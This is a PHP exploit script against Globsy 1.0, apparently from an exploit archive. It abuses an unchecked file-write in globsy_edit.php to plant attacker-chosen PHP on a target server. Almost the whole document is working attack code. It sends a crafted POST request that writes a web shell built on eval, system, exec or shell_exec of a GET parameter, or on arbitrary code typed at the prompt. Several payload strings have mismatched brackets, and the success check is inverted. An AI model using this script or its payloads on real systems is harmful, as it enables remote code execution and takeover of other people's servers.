globsy-rewrite.txt

`#!/usr/bin/php -q  
<?php  
  
/*   
----------------------------------------------------------------------  
Globsy <= 1.0 Remote File Rewriting Exploit  
Discovered By StAkeR aka athos - StAkeR[at]hotmail[dot]it  
Discovered On 12/10/2008  
http://switch.dl.sourceforge.net/sourceforge/globsy/globsy_1.0.tar.gz  
----------------------------------------------------------------------  
  
globsy_edit.php  
  
37. elseif($mode == "save"){   
38. $handle = fopen($filename, "w") or die("Write: The file <i>'".$filename."'</i> could not be opened.");  
39. fwrite($handle, $data) or die("Write: The file <i>'".$filename."'</i> could not be writen.");   
  
$mode is $_POST['mode'] and $data = $_POST['data']  
  
so you can rewrite (or create) any file   
  
*/  
  
  
error_reporting(0);  
ini_set("default_socket_timeout",5);  
  
$host = str_replace('http:\/\/',null,$argv[1]);  
$path = $argv[2]."/globsy_edit.php?file=";  
$file = $argv[3];  
$exec = intval($argv[4]);  
  
if($exec == 8)  
{  
$input = stripslashes(trim(fgets(STDIN)));  
}  
else  
{  
$input = "Write your code\r\n";  
}  
  
  
$array = array(  
'include($_GET["input"]);',  
'exec($_GET["input");',  
'eval($_GET["input");',  
'file_get_contents($_GET["input"]);',  
'phpinfo();',  
'system($_GET["input");',  
'shell_exec($_GET["input");',  
'echo $_GET["input");',  
$input  
);  
  
if($argc != 5)  
{  
echo "[?] Globsy <= 1.0 Remote File Rewriting Exploit\r\n";  
echo "[?] Usage: php $argv[0] [host] [path] [file] [option]\r\n\r\n";  
echo "[?] Options: \r\n";  
  
for($i=0;$i<=count($array)-1;$i++)  
{  
echo "-$i $array[$i]\r\n";  
}   
return exit;  
}   
  
if(!$sock = fsockopen($host,80)) die("[?] Socket Error\r\n");  
  
$path .= $file;  
$post .= "mode=save&data=<?php {$array[$exec]} ?>";  
$data .= "POST /$path HTTP/1.1\r\n";  
$data .= "Host: $host\r\n";  
$data .= "User-Agent: Mozilla/4.5 [en] (Win95; U)\r\n";  
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";  
$data .= "Accept-Encoding: text/plain\r\n";  
$data .= "Content-Length: ".strlen($post)."\r\n";  
$data .= "Connection: close\r\n\r\n";  
$data .= $post;  
  
if(!fputs($sock,$data)) die("[?] Fputs Error!\n");  
  
while(!feof($sock))   
{  
$content .= fgets($sock);  
} fclose($sock);   
  
if(!strpos('File data saved OK',$content))  
{  
echo "[?] Exploit Successfully!\r\n";  
echo "[?] $array[$exec] written in $file\r\n";  
}  
else  
{  
echo "[?] Exploit Failed!\r\n";  
exit;  
}  
  
  
?>  
  
  
`